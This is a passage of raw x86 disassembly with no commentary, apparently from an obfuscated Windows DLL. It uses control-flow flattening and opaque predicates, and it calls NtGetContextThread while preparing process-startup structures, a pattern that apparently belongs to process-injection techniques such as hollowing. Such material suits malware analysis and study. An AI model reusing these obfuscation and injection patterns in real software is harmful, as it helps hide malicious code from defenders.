mov dword [ebp - 0x1b8], 0x454e46f1
jmp 0x1000faa6
mov eax, dword [0x1006c928]
mov ecx, dword [0x1006c924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb80cef3
mov ecx, 0x4e52e58a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x1b8], 0xa43858db
jmp 0x1000faa6
mov ecx, dword [0x1006c928]
mov eax, dword [0x1006c924]
mov edx, ecx
add edx, 0x47d94b5e
sub edx, 1
sub edx, 0x47d94b5e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3e13d845
mov ecx, 0x2083478b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov eax, dword [0x1006c928]
mov ecx, dword [0x1006c924]
mov edx, eax
add edx, 0x42bf2239
sub edx, 1
sub edx, 0x42bf2239
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x22056edb
mov ecx, 0xe57f0c90
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov eax, dword [ebp - 0x18c]
mov eax, dword [ebp - 0x188]
mov eax, dword [ebp - 0x18c]
mov eax, dword [ebp - 0x188]
mov eax, dword [ebp - 0x18c]
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x1b8], 0xcae8757f
jmp 0x1000faa6
mov eax, dword [0x1006c928]
mov ecx, dword [0x1006c924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7f014cc7
mov ecx, 0xc77ce904
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0x1b8], 0xe5c6b015
jmp 0x1000faa6
mov dword [ebp - 0x1b8], 0xbb10ca7d
jmp 0x1000faa6
mov eax, dword [ebp - 0x168]
mov ecx, dword [0x1006c928]
mov eax, dword [0x1006c924]
mov edx, ecx
add edx, 0xf773b486
sub edx, 1
sub edx, 0xf773b486
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x645d459c
mov ecx, 0x3cc6b8b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x1b8], 0x3129a840
jmp 0x1000faa6
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x118]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
mov dword [ebp - 0x1b8], 0xa167cc15
jmp 0x1000faa6
mov eax, dword [ebp - 0x18c]
mov eax, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x18c]
mov eax, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x18c]
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x1b8], 0xd18974f6
jmp 0x1000faa6
mov dword [ebp - 0x1b8], 0x2dee1ffc
jmp 0x1000faa6
mov dword [ebp - 0x1b8], 0x325933f2
jmp 0x1000faa6
mov eax, dword [ebp - 0xa0]
mov edx, dword [eax + 0x1c]
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0xa4]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0x16c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x168]
mov dword [eax], 0
mov dword [ebp - 0x1b8], 0xbc72fb89
jmp 0x1000faa6
mov eax, dword [ebp - 0x184]
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0x1b8], 0x27c2c822
jmp 0x1000faa6
mov eax, dword [ebp - 0x12c]
mov dword [eax], 0x10007
lea eax, [ebp - 0x20]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.100117e0
add esp, 0xc
lea eax, [ebp - 0x64]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.100117e0
add esp, 0xc
mov dword [ebp - 0x1b8], 0x326e36f5
jmp 0x1000faa6
mov eax, dword [ebp - 0x18c]
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x1b8], 0x297969ad
jmp 0x1000faa6
jmp 0x100082a0